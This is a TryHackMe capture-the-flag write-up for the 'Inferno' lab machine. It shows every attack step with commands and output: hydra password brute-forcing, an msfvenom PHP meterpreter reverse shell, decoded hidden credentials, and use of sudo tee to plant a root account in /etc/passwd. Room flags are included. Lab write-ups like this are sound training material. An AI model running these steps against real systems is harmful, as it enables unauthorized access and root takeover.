Inferno - Write-up - TryHackMe

Tuesday 16 February 2021 (2021-02-16)

Monday 1 April 2024 (2024-04-01)

noraj (Alexandre ZANNI)

eop, php, security, sudo, thm, web, webshell, writeups

🇬🇧

Information

Room#

Name: Inferno
Profile: tryhackme.com
Difficulty: Medium
Description: Real Life machine vs CTF. The machine is designed to be real-life and is perfect for newbies starting out in penetration testing

Inferno

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1	$ sudo pacman -S nmap ffuf cewl hydra metasploit ruby-ctf-party gtfoblookup

Network enumeration#

Port scan with nmap:

$ # Nmap 7.91 scan initiated Sat Feb 13 15:05:33 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.68.164
Nmap scan report for 10.10.68.164
Host is up (0.032s latency).
Not shown: 65479 closed ports
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)
|   256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)
|_  256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)
80/tcp    open  http              Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Dante's Inferno
...

There is only 22 and 80 truly open, other ports are trolls.

Web enumeration#

Enumerating files and folders on the website gave nothing.

1
2

$ ffuf -u http://10.10.68.164/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403
$ ffuf -u http://10.10.68.164/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403

Web bruteforce#

But manually trying the name of the box (http://10.10.68.164/inferno) gave me a basic auth restricted area.

I tried some common credentials combination including dante and inferno without success. So let's try to build a wordlist based on words of the page.

1	$ cewl -d 0 -w $(pwd)/words.txt http://10.10.68.164/

We'll use those words as password.

As a user list we'll try:

1
2
3

admin
dante
inferno

Then let's try those wordlists on the basic auth area:

1	$ hydra -L users.txt -P words.txt -f 10.10.68.164 http-get /inferno

This educated guess was too smart and did not gave any results.

Then in just tried the user admin and common passwords:

$ hydra -l admin -P /usr/share/wordlists/passwords/rockyou.txt -f 10.10.68.164 http-get /inferno
...
[80][http-get] host: 10.10.68.164   login: admin   password: dante1
[STATUS] attack finished for 10.10.68.164 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

We can access http://10.10.68.164/inferno/ with admin / dante1 but behind that there is just a login form.

Using the same credentials over the login form just works.

This let us access to a file system browser and editor.

Web exploitation#

The web app also let us the ability to directly upload a file, so we can generate a php reverse shell.

$ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.9.19.77 LPORT=9999 -f raw > noraj.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34277 bytes

But upload or file edition seems not to work and being only in read only mode.

The only folder were upload was possible is /inferno/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/.

Let's trigger our reverse shell at http://10.10.41.191/inferno/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/agent.php

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.19.77:9999
[*] Meterpreter session 1 opened (10.9.19.77:9999 -> 10.10.139.220:39444) at 2021-02-14 18:11:25 +0100

meterpreter > shell
Process 1890 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

System enumeration#

Let's find text files:

$ find /home/dante -name *.txt -type f 2>/dev/null
/home/dante/Desktop/inferno.txt
/home/dante/Desktop/purgatorio.txt
/home/dante/Desktop/paradiso.txt
/home/dante/local.txt

Those are not text files but binaries:

$ file /home/dante/Desktop/*
/home/dante/Desktop/inferno.txt:    ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=864c9bbef111ce358b3452cf7ea457d292ba93f0, stripped
/home/dante/Desktop/paradiso.txt:   ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7516179fdf8ec3353673a8abcfdf0b60ec2c3b8f, stripped
/home/dante/Desktop/purgatorio.txt: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=003dbfa8e3bce6203f5b7d410020af2442937db6, stripped

Again those are troll files, there a others in Documents or Downloads.

But in Downloads there is a hidden file: /home/dante/Downloads/.download.dat.

Elevation of Privilege (EoP): from www-data to dante#

It's containing a hexadecimal string so I used ctf-party to decode it.

Remove spaces
Decode from hex to string using ctf-party
Split after each line feed
Keep only the last element

$ ctf_party_console
irb(main):005:0> 'c2 ab 4f 72 20 73 65 e2 80 99 20 74 75 20 71 75 65 6c 20 56 69 72 67 69 6c 69 6f 20 65 20 71 75 65 6c 6c 61 20 66 6f 6e 74 65 0a 63 68 65 20 73 70 61 6e 64 69 20 64 69 20 70 61 72 6c 61 72 20 73 c3 ac 20 6c 61 72 67 6f
 20 66 69 75 6d 65 3f c2 bb 2c 0a 72 69 73 70 75 6f 73 e2 80 99 69 6f 20 6c 75 69 20 63 6f 6e 20 76 65 72 67 6f 67 6e 6f 73 61 20 66 72 6f 6e 74 65 2e 0a 0a c2 ab 4f 20 64 65 20 6c 69 20 61 6c 74 72 69 20 70 6f 65 74 69 20 6f 6e 6f 72 6
5 20 65 20 6c 75 6d 65 2c 0a 76 61 67 6c 69 61 6d 69 20 e2 80 99 6c 20 6c 75 6e 67 6f 20 73 74 75 64 69 6f 20 65 20 e2 80 99 6c 20 67 72 61 6e 64 65 20 61 6d 6f 72 65 0a 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 63 65 72 63 61
72 20 6c 6f 20 74 75 6f 20 76 6f 6c 75 6d 65 2e 0a 0a 54 75 20 73 65 e2 80 99 20 6c 6f 20 6d 69 6f 20 6d 61 65 73 74 72 6f 20 65 20 e2 80 99 6c 20 6d 69 6f 20 61 75 74 6f 72 65 2c 0a 74 75 20 73 65 e2 80 99 20 73 6f 6c 6f 20 63 6f 6c 75
 69 20 64 61 20 63 75 e2 80 99 20 69 6f 20 74 6f 6c 73 69 0a 6c 6f 20 62 65 6c 6c 6f 20 73 74 69 6c 6f 20 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 6f 6e 6f 72 65 2e 0a 0a 56 65 64 69 20 6c 61 20 62 65 73 74 69 61 20 70 65 72 2
0 63 75 e2 80 99 20 69 6f 20 6d 69 20 76 6f 6c 73 69 3b 0a 61 69 75 74 61 6d 69 20 64 61 20 6c 65 69 2c 20 66 61 6d 6f 73 6f 20 73 61 67 67 69 6f 2c 0a 63 68 e2 80 99 65 6c 6c 61 20 6d 69 20 66 61 20 74 72 65 6d 61 72 20 6c 65 20 76 65
6e 65 20 65 20 69 20 70 6f 6c 73 69 c2 bb 2e 0a 0a 64 61 6e 74 65 3a 56 31 72 67 31 6c 31 30 68 33 6c 70 6d 33 0a'.gsub(' ', '').from_hex.split("\n").last
=> "dante:V1rg1l10h3lpm3"

Note: The guys that imported this box from Vulnhub to TryHackMe claimed it was realistic and it's totally CTF-like.

Elevation of Privilege (EoP): from dante to root#

Let's connect with the creds to SSH.

1
2
3

$ ssh dante@10.10.139.220
dante@Inferno:~$ id
uid=1000(dante) gid=1000(dante) groups=1000(dante),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

In version 1.1 of Inferno there is even more trolls and guessing than in the v1.0. For example when you spawn a PTY an exit command is automatically executed after 1 minute, on SSH a logout is automatically executed after 5 seconds.

User flag: 77f6f3c544ec0811e2d1243e2e0d1835

dante@Inferno:~$ sudo -l
Matching Defaults entries for dante on Inferno:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dante may run the following commands on Inferno:
    (root) NOPASSWD: /usr/bin/tee

Let's check how we can exploit tee.

$ gtfoblookup linux sudo tee
tee:

    sudo:

        Code: LFILE=file_to_write
              echo DATA | sudo tee -a "$LFILE"

Lets do that to write a password to a new admin account in /etc/passwd:

dante@Inferno:~$ LFILE=/etc/passwd

dante@Inferno:~$ echo "noraj:$(openssl passwd -6 -salt noraj password):0:0:noraj:/root:/bin/bash" | sudo tee -a "$LFILE"
noraj:$6$noraj$0xd4tNtgvg16YDhJVioiZDy5VDEtbXUsXxXLTM0tfg5AuoIAaslp87j7GlfjoMWnt2kJdYc2.2q8JbilrVOip/:0:0:noraj:/root:/bin/bash

dante@Inferno:~$ tail /etc/passwd
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
dante:x:1000:1000:dante:/home/dante:/bin/bash
$6$noraj$0xd4tNtgvg16YDhJVioiZDy5VDEtbXUsXxXLTM0tfg5AuoIAaslp87j7GlfjoMWnt2kJdYc2.2q8JbilrVOip/
noraj:$6$noraj$0xd4tNtgvg16YDhJVioiZDy5VDEtbXUsXxXLTM0tfg5AuoIAaslp87j7GlfjoMWnt2kJdYc2.2q8JbilrVOip/:0:0:noraj:/root:/bin/bash

dante@Inferno:~$ su noraj
Password:

root@Inferno:/home/dante# cat /root/
.bash_history  .bashrc        .config/       .local/        .profile       proof.txt      .ssh/

root@Inferno:/home/dante# cat /root/proof.txt
Congrats!

You've rooted Inferno!

edited

mindsflee

Root flag: f332678ed0d0767d7434b8516a7c6144